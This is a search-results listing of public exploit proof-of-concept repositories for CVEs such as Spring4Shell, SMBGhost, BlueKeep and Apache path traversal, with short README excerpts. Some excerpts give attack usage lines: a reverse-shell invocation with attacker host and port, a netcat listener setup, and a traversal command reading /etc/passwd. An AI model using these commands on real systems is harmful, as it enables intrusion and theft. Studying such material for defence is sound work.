118 matches found
CVE-2019-9978
CVE-2019-9978 - Social Warfare Wordpress 플러그인 RCE 3.5.3 Wordpress용 Social Warfare 플러그인 3.5.3 미만 버전에서의 원격 코드 실행. 이 PoC는 추가 HTTP 서버를 실행할 필요가 없습니다. 로컬 IP와 원하는 포트를 입력하면 익스플로잇이 자체 스레드에서 서버를 생성합니다. 사용법 usage: CVE-2019-9978.py -h -t TARGET -l LHOST -p LPORT -c COMMAND options: -h, --help show this help...
Exploits
익스플로잇 원본 CVE, 익스플로잇 PoC 및 보안 권고 작성자: @kmkz · boffsec-services.com · @kmkzsecurity 2026 파일| 대상| 유형| CVSSv3 ---|---|---|--- CVE-2026-22191-SicuroWeb-ATI-chain.txt| SicuroWeb / Beghelli Sicuro24| 권고 3-CVE 체인| 9.3 CVE-2026-22191-POC.py| SicuroWeb / Beghelli Sicuro24| PoC mitmproxy| 9.3...
CVE-2020-5902
CVE-2020-5902 BIG-IP CVE-2020-5902 익스플로잇 POC 및 취약점 자동 스캔 BIG-IP 익스플로잇 및 취약점 자동 스캔을 위한 간단한 프로그램 설치 gem install httparty gem install colorize gem install timeout ruby big-ip.rb list.txt output.txt...
CVE-2022-32250
CVE-2022-32250 이것은 NCC Group의 블로그의 연구를 바탕으로 전적으로 작성된 CVE-2022-32250용 익스플로잇입니다. 테스트 환경: 커널 버전 5.13 성공률: 70% 빌드 빌드하려면 libmnl과 libnftnl이 필요합니다. make all 면책 조항 개념 증명PoC 및 취약점에 대한 분석 문서는 교육 및 연구 목적으로만 제공됩니다. 사용에 따른 책임은 본인에게 있습니다...
CVE-2025-55182
CVE-2025-55182 React2Shell Exploit PoC ⚠️ WARNING: This project intentionally uses vulnerable software for security research purposes only. Credits All credits for the PoC go to @maple3142 Setup & Running Docker docker-compose up --build The app will be available at http://localhost:3000 Exploit...
rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287
rejetto-http-file-server-2.3.x-RCE-exploit-CVE-2014-6287 이 저장소에는 Rejetto HTTP File Server HFS 2.3.x - 원격 명령 실행Remote Command Execution에 대한 상세한 설명과 동작하는 PoC가 포함되어 있습니다. 구성: Netcat 리스너를 생성하세요. nc -lnvp 1234 공격자 IP를 자신의 IP와 포트로 변경하세요. 또한 nc.exe가 존재하는 동일한 디렉토리에 HTTP 파일 서버를 생성하세요. python -m http.serve...
CVE-2022-RCE
CVE-2022-XXXX Reverse junk data injection CVE subscription tools exploitation tutorials Exploit POC RCE LOG4j deserialization JNDI Payload CVE-2022-20550 CVE-2022-20551 CVE-2022-20552 CVE-2022-20553 CVE-2022-20554 CVE-2022-20555 CVE-2022-20556 CVE-2022-20557 CVE-2022-20558 CVE-2022-20559...
CVE-2019-18818
CVE-2019-18818 Strapi = 3.0.0-beta 익스플로잇 PoC...
CVE-2020-7247-exploit
CVE-2020-7247-exploit OpenSMTPD 6.4.0 - 6.6.1 원격 코드 실행 PoC 익스플로잇 참고: https://www.openwall.com/lists/oss-security/2020/01/28/3 사용법 python3 exploit.py 의존성 pip3 install --user pwntools...
spring4shell-exploit-poc
Spring4Shell 익스플로잇 PoC Spring4Shell 취약점에 노출된 Spring 애플리케이션을 익스플로잇합니다. Spring4Shell에 대한 자세한 내용은 블로그에서 확인하세요. 사용법 요구 사항: Docker 및 docker-compose $ ./exploit.sh 취약한 Spring 애플리케이션 취약한 Spring 애플리케이션에는 /helloworld/greeting에 대한 GET 및 POST 요청 핸들러가 포함되어 있습니다. exploit.sh 스크립트는 애플리케이션을 WAR로 패키징한 Tomcat 9.0을...
CVE-2020-0796
CVE-2020-0796 작동하는 익스플로잇 PoC CVE-2020-0796 - 리버스 바인드 셸 Python2.7에서 테스트됨 설치 방법: pip install -r requirements.txt 실행 방법: python CVE-2020-0796-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...
pub
❤ 영웅이 되어주세요, 🍺 한 잔 사주세요 🙂 ⟶ Ƀ : 1AZMeGVfCBbYwVYyG9s79pJDyocTZgiApa | Ξth : 0x438B38E30eF117C15fBfF833f9C2c70182925815 Exploit PoCs 및 tintinweb이가 공개한 취약점 관련 도구입니다. pub police line - do not cross ==== police line - do not cross ==== police line - do not cross ==== ==== police line - do not cross ==...
ExploitPOC_MS15-014_CVE-2015-0009
このリポジトリには README がありません。...
TKEY-remote-DoS-vulnerability-exploit
TKEY-remote-DoS-vulnerability-exploit CVE-2015-5477 POC용 익스플로잇 코드...
CVE-2018-18893
CVE-2018-18893 CVE-2018-18893의 PoC 재현 방법： 그냥 실행하세요...
Apache-HTTP-Server-2.4.49-2.4.50-Path-Traversal-Remote-Code-Execution
Apache HTTP-서버 2.4.49-2.4.50 경로 탐색 및 원격 코드 실행 설명 이것은 CVE-2021-41773 및 CVE-2021-42013에 대한 PoC 스크립트입니다. 사용법: python3 exploit.py | 예시: 원격 코드 실행 python3 exploit.py 127.0.0.1 8080 rce 'id' 경로 탐색 python3 exploit.py 127.0.0.1 8080 file '/etc/passwd'...
CVE-2022-1972-infoleak-PoC
CVE-2022-1972 infoleak PoC CVE-2022-1972에 대한 Infoleak 익스플로잇입니다. 관련 분석 글은 저희 블로그에서 확인할 수 있습니다. 요구 사항 비특권 사용자가 user namespace를 사용할 수 있어야 합니다. $ sysctl kernel.unprivilegedusernsclone kernel.unprivilegedusernsclone = 1 빌드 make...
CVE-2019-0708-EXP-Windows
CVE-2019-0708-EXP-Windows-Version お断り 著者のPOCは研究目的のみです。読者が本POCを他の目的に使用した場合、著者は一切の責任を負いません。 目次 toc 紹介 CVE-2019-0708-EXP-Windows版は単一ファイルのexeとして動作し、Linux、Python、Ruby等は不要です。実行後、現在のコンソールに直接System権限のシェルが起動します。 コンパイルは全静的ライブラリモードを採用し、すべてのDLLをインライン化、netcatとopensslを統合、プログレスバー表示とシェルのエコー操作をサポートします。 再現環境 1...